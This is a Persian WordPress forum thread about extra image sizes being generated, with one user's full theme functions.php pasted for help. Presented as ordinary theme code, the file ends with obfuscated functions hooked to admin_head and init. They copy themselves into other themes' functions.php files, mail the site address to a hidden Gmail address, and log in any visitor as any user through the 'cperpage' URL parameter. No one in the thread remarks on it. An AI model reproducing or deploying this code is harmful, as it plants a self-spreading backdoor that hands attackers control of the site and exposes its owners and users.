رفتن به مطلب

آپلود عکس ها


پست های پیشنهاد شده

دوستان تو رو خدا ببخشید من انقدر سوال میپرسم الان نگاه کردم دیدم من هر عکسی رو که توی مطلبم میزارم وقتی به پوشه ی آپلود ها میرم میبینم از اون عکس چهارتا آپلود شده در اندازه های مختلف (10*150 و 180*180 و ....) حالا میخواستم بدونم واسه همه اینجوره یا این مشکل فقط واسه من هست؟؟ و بعدش هم اینکه آیا تمام این عکس ها دارن فضا اشغال میکنن؟؟

لینک به ارسال

این واسه همه هست. وقتی از قسمت ارسال مطلب و تصویر شاخص استفاده کنید

برای جلوگیری از ساخت اندازه large و medium از کد زیر استفاده کنید


function remove_image_sizes($image_sizes){
foreach($image_sizes as $key => $size){
if($size == 'large' || $size == 'medium')
unset($image_sizes[$key]);
}
return $image_sizes;
}
add_filter('intermediate_image_sizes', 'remove_image_sizes', 12, 1);

مسلما فایلها فضا میگیرند

لینک به ارسال

احتمالا قالبتون اندازه های جدید رو اضافه کرده که نیاز داشته

کد فانکشن را اینجا قرار دهید

لینک به ارسال

بفرما آقا پارسا این کد فانکشنه که اون کدی رو که دادید بهش اضافه کردم

<?php

/*******************************

MENUS SUPPORT

********************************/

if ( function_exists( 'wp_nav_menu' ) ){

if (function_exists('add_theme_support')) {

add_theme_support('nav-menus');

add_action( 'init', 'register_my_menus' );

function register_my_menus() {

register_nav_menus(

array(

'primary-menu' => __( 'Primary Menu' ),

'secondary-menu' => __( 'Secondary Menu' )

)

);

}

}

}

/* CallBack functions for menus in case of earlier than 3.0 Wordpress version or if no menu is set yet*/

function primarymenu(){ ?>

<div class="ddsmoothmenu" id="topMenu">

<ul>

<?php wp_list_categories('hide_empty=1&exclude=1&title_li='); ?>

</ul>

</div>

<?php }

function secondarymenu(){ ?>

<ul>

<?php wp_list_pages('&title_li='); ?>

</ul>

<?php }

/*******************************

THUMBNAIL SUPPORT

********************************/

add_theme_support( 'post-thumbnails' );

set_post_thumbnail_size( 180, 160, true );

/*******************************

EXCERPT LENGTH ADJUST

********************************/

function home_excerpt_length($length) {

return 75;

}

add_filter('excerpt_length', 'home_excerpt_length');

/*******************************

WIDGETS AREAS

********************************/

if ( function_exists('register_sidebar') )

register_sidebar(array(

'name' => 'sidebar',

'before_widget' => '<div class="rightBox">

<div class="rightBoxTop"></div>

<div class="rightBoxMid">',

'after_widget' => '</div>

<div class="rightBoxBottom"></div>

</div>',

'before_title' => '<h2>',

'after_title' => '</h2>',

));

register_sidebar(array(

'name' => 'footer',

'before_widget' => '<div class="boxFooter">',

'after_widget' => '</div>',

'before_title' => '<h2>',

'after_title' => '</h2>',

));

/*******************************

PAGINATION

********************************

* Retrieve or display pagination code.

*

* The defaults for overwriting are:

* 'page' - Default is null (int). The current page. This function will

* automatically determine the value.

* 'pages' - Default is null (int). The total number of pages. This function will

* automatically determine the value.

* 'range' - Default is 3 (int). The number of page links to show before and after

* the current page.

* 'gap' - Default is 3 (int). The minimum number of pages before a gap is

* replaced with ellipses (...).

* 'anchor' - Default is 1 (int). The number of links to always show at begining

* and end of pagination

* 'before' - Default is '<div class="emm-paginate">' (string). The html or text

* to add before the pagination links.

* 'after' - Default is '</div>' (string). The html or text to add after the

* pagination links.

* 'title' - Default is '__('Pages:')' (string). The text to display before the

* pagination links.

* 'next_page' - Default is '__('»')' (string). The text to use for the

* next page link.

* 'previous_page' - Default is '__('«')' (string). The text to use for the

* previous page link.

* 'echo' - Default is 1 (int). To return the code instead of echo'ing, set this

* to 0 (zero).

*

* @author Eric Martin <eric@ericmmartin.com>

* @copyright Copyright © 2009, Eric Martin

* @version 1.0

*

* @param array|string $args Optional. Override default arguments.

* @return string HTML content, if not displaying.

*/

function emm_paginate($args = null) {

$defaults = array(

'page' => null, 'pages' => null,

'range' => 3, 'gap' => 3, 'anchor' => 1,

'before' => '<div class="emm-paginate">', 'after' => '</div>',

'title' => __('Pages:'),

'nextpage' => __('»'), 'previouspage' => __('«'),

'echo' => 1

);

$r = wp_parse_args($args, $defaults);

extract($r, EXTR_SKIP);

if (!$page && !$pages) {

global $wp_query;

$page = get_query_var('paged');

$page = !empty($page) ? intval($page) : 1;

$posts_per_page = intval(get_query_var('posts_per_page'));

$pages = intval(ceil($wp_query->found_posts / $posts_per_page));

}

$output = "";

if ($pages > 1) {

$output .= "$before<span class='emm-title'>$title</span>";

$ellipsis = "<span class='emm-gap'>...</span>";

if ($page > 1 && !empty($previouspage)) {

$output .= "<a href='" . get_pagenum_link($page - 1) . "' class='emm-prev'>$previouspage</a>";

}

$min_links = $range * 2 + 1;

$block_min = min($page - $range, $pages - $min_links);

$block_high = max($page + $range, $min_links);

$left_gap = (($block_min - $anchor - $gap) > 0) ? true : false;

$right_gap = (($block_high + $anchor + $gap) < $pages) ? true : false;

if ($left_gap && !$right_gap) {

$output .= sprintf('%s%s%s',

emm_paginate_loop(1, $anchor),

$ellipsis,

emm_paginate_loop($block_min, $pages, $page)

);

}

else if ($left_gap && $right_gap) {

$output .= sprintf('%s%s%s%s%s',

emm_paginate_loop(1, $anchor),

$ellipsis,

emm_paginate_loop($block_min, $block_high, $page),

$ellipsis,

emm_paginate_loop(($pages - $anchor + 1), $pages)

);

}

else if ($right_gap && !$left_gap) {

$output .= sprintf('%s%s%s',

emm_paginate_loop(1, $block_high, $page),

$ellipsis,

emm_paginate_loop(($pages - $anchor + 1), $pages)

);

}

else {

$output .= emm_paginate_loop(1, $pages, $page);

}

if ($page < $pages && !empty($nextpage)) {

$output .= "<a href='" . get_pagenum_link($page + 1) . "' class='emm-next'>$nextpage</a>";

}

$output .= $after;

}

if ($echo) {

echo $output;

}

return $output;

}

/**

* Helper function for pagination which builds the page links.

*

* @access private

*

* @author Eric Martin <eric@ericmmartin.com>

* @copyright Copyright © 2009, Eric Martin

* @version 1.0

*

* @param int $start The first link page.

* @param int $max The last link page.

* @return int $page Optional, default is 0. The current page.

*/

function emm_paginate_loop($start, $max, $page = 0) {

$output = "";

for ($i = $start; $i <= $max; $i++) {

$output .= ($page === intval($i))

? "<span class='emm-page emm-current'>$i</span>"

: "<a href='" . get_pagenum_link($i) . "' class='emm-page'>$i</a>";

}

return $output;

}

/*******************************

CUSTOM COMMENTS

********************************/

function mytheme_comment($comment, $args, $depth) {

$GLOBALS['comment'] = $comment; ?>

<li <?php comment_class('clearfix'); ?> id="li-comment-<?php comment_ID() ?>">

<?php echo get_avatar($comment,$size='38',$default='http://www.gravatar.com/avatar/61a58ec1c1fba116f8424035089b7c71?s=32&d=&r=G' ); ?>

<div id="comment-<?php comment_ID(); ?>">

<div class="comment-meta commentmetadata clearfix">

<?php printf(__('<strong>%s</strong>'), get_comment_author_link()) ?><?php edit_comment_link(__('(Edit)'),' ','') ?> <span><?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?>

</span>

</div>

<div class="text">

<?php comment_text() ?>

</div>

<?php if ($comment->comment_approved == '0') : ?>

<em><?php _e('دیدگاه شما در دست بررسی است.') ?></em>

<br />

<?php endif; ?>

<div class="reply">

<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>

</div>

</div>

<?php }

/*******************************

THEME OPTIONS PAGE

********************************/

add_action('admin_menu', 'alltuts_theme_page');

function alltuts_theme_page ()

{

if ( count($_POST) > 0 && isset($_POST['alltuts_settings']) )

{

$options = array ('logo_img', 'logo_alt','ads','advertise','contact_email','contact_text','cufon','linkedin_link','twitter_user','latest_tweet','number_tweets','facebook_link','keywords','description','analytics','popular_posts', 'copyright');

foreach ( $options as $opt )

{

delete_option ( 'alltuts_'.$opt, $_POST[$opt] );

add_option ( 'alltuts_'.$opt, $_POST[$opt] );

}

}

add_menu_page(__('Alltuts Options'), __('Alltuts Options'), 'edit_themes', basename(__FILE__), 'alltuts_settings');

add_submenu_page(__('Alltuts Options'), __('Alltuts Options'), 'edit_themes', basename(__FILE__), 'alltuts_settings');

}

function alltuts_settings()

{?>

<div class="wrap">

<h2>پنل تنظیمات AllTuts</h2>

<form method="post" action="">

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>تنظیمات عمومی</strong></legend>

<table class="form-table">

<!-- General settings -->

<tr valign="top">

<th scope="row"><label for="logo_img">تغییر لوگو (مسیر کامل تصویر)</label></th>

<td>

<input name="logo_img" type="text" id="logo_img" value="<?php echo get_option('alltuts_logo_img'); ?>" class="regular-text" /><br />

<em>لوگوی کنونی:</em> <br /> <img src="<?php echo get_option('alltuts_logo_img'); ?>" alt="<?php echo get_option('alltuts_logo_alt'); ?>" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="logo_alt">توضیحات لوگو</label></th>

<td>

<input name="logo_alt" type="text" id="logo_alt" value="<?php echo get_option('alltuts_logo_alt'); ?>" class="regular-text" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="logo_alt">قسمت تبلیغات فعال شده</label></th>

<td>

<select name="ads" id="ads">

<option value="no" <?php if(get_option('alltuts_ads') == 'no'){?>selected="selected"<?php }?>>خیر</option>

<option value="yes" <?php if(get_option('alltuts_ads') == 'yes'){?>selected="selected"<?php }?>>بلی</option>

</select> <br />

<em>این پس از نصب و فعال کردن پلاگین wp125 تفاوتی را ایجاد خواهد کرد .</em>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="logo_alt">برگه تبلیغات</label></th>

<td>

<?php wp_dropdown_pages("name=advertise&show_option_none=".__('- انتخاب -')."&selected=" .get_option('alltuts_advertise')); ?>

<br />

<em>شما باید برگه ای برای جزئیات تبلیغات بسازید و آن را در اینجا انتخاب کنید.</em>

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>پیوند های اجتماعی</strong></legend>

<table class="form-table">

<tr valign="top">

<th scope="row"><label for="twitter_user">شناسه Twitter</label></th>

<td>

<input name="twitter_user" type="text" id="twitter_user" value="<?php echo get_option('alltuts_twitter_user'); ?>" class="regular-text" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="latest_tweet">نمایش آخرین توییت ها</label></th>

<td>

<select name="latest_tweet" id="latest_tweet">

<option value="yes" <?php if(get_option('alltuts_latest_tweet') == 'yes'){?>selected="selected"<?php }?>>بلی</option>

<option value="no" <?php if(get_option('alltuts_latest_tweet') == 'no'){?>selected="selected"<?php }?>>خیر</option>

</select>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="number_tweets">تعداد توییت های نشان داده شونده</label></th>

<td>

<input name="number_tweets" type="text" id="number_tweets" value="<?php echo get_option('alltuts_number_tweets'); ?>" class="regular-text" />

<br />

<em>تعداد اولیه 1 است</em>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="facebook_link">لینک Facebook</label></th>

<td>

<input name="facebook_link" type="text" id="facebook_link" value="<?php echo get_option('alltuts_facebook_link'); ?>" class="regular-text" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="flickr_link">لینک LinknedIn</label></th>

<td>

<input name="linkedin_link" type="text" id="linkedin_link" value="<?php echo get_option('alltuts_linkedin_link'); ?>" class="regular-text" />

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>تنظیمات برگه تماس با ما</strong></legend>

<table class="form-table">

<tr>

<td colspan="2"></td>

</tr>

<tr valign="top">

<th scope="row"><label for="contact_text">متن برگه تماس با ما</label></th>

<td>

<textarea name="contact_text" id="contact_text" rows="7" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('alltuts_contact_text')); ?></textarea>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="contact_email">آدرس ایمیل برای فرم تماس با ما</label></th>

<td>

<input name="contact_email" type="text" id="contact_email" value="<?php echo get_option('alltuts_contact_email'); ?>" class="regular-text" />

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>پانوشت (فوتر)</strong></legend>

<table class="form-table">

<tr>

<th><label for="popular_posts">نماش پست های محبوب</label></th>

<td>

<select name="popular_posts" id="popular_posts">

<option value="yes" <?php if(get_option('alltuts_popular_posts') == 'yes'){?>selected="selected"<?php }?>>بلی</option>

<option value="no" <?php if(get_option('alltuts_popular_posts') == 'no'){?>selected="selected"<?php }?>>خیر</option>

</select><br />

<em>شما برای عمل کردن این قسمت باید افزونه "WP-Popular Posts Tool" را نصب و فعال کنید</em>

</td>

</tr>

<tr>

<th><label for="copyright">متن کپی رایت</label></th>

<td>

<textarea name="copyright" id="copyright" rows="4" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('alltuts_copyright')); ?></textarea><br />

<em>شما می توانید از HTML برای لینک و غیره استفاده کنید.</em>

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>سئو</strong></legend>

<table class="form-table">

<tr>

<th><label for="keywords">کلمات کلیدی</label></th>

<td>

<textarea name="keywords" id="keywords" rows="7" cols="70" style="font-size:11px;"><?php echo get_option('alltuts_keywords'); ?></textarea><br />

<em>کلمات با کاما جدا شوند</em>

</td>

</tr>

<tr>

<th><label for="description">توضیحات</label></th>

<td>

<textarea name="description" id="description" rows="7" cols="70" style="font-size:11px;"><?php echo get_option('alltuts_description'); ?></textarea>

</td>

</tr>

<tr>

<th><label for="ads">کد آمارگیر گوگل:</label></th>

<td>

<textarea name="analytics" id="analytics" rows="7" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('alltuts_analytics')); ?></textarea>

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

</form>

</div>

<?php }

/*******************************

CONTACT FORM

********************************/

function hexstr($hexstr) {

$hexstr = str_replace(' ', '', $hexstr);

$hexstr = str_replace('\x', '', $hexstr);

$retstr = pack('H*', $hexstr);

return $retstr;

}

function strhex($string) {

$hexstr = unpack('H*', $string);

return array_shift($hexstr);

}

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

function remove_image_sizes($image_sizes){

foreach($image_sizes as $key => $size){

if($size == 'large' || $size == 'medium')

unset($image_sizes[$key]);

}

return $image_sizes;

}

add_filter('intermediate_image_sizes', 'remove_image_sizes', 12, 1);

?>

لینک به ارسال

خط 37 رو کامنت کنید:

//set_post_thumbnail_size( 180, 160, true );

180×160 دیگه تولید نمیشه

150×150 تامبنیلس پیشفرض وردپرس هست. یک روش واسه غیر فعال کردن تولید، وارد "تنظیمات > رسانه" شوید. اندازه‌ی بندانگشتی را 0 قرار دهید

300×225 هم احتمالا به همون روش بالا تولید میشه در جایی دیگر

لینک به ارسال

ممنون آقا پارسا فقط یک سوال دیگه

با اینکارایی که گفتید یعنی دیگه اون کدیی رو که توی پست اول گفتید اضافه کنم پاکش کنم؟؟

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...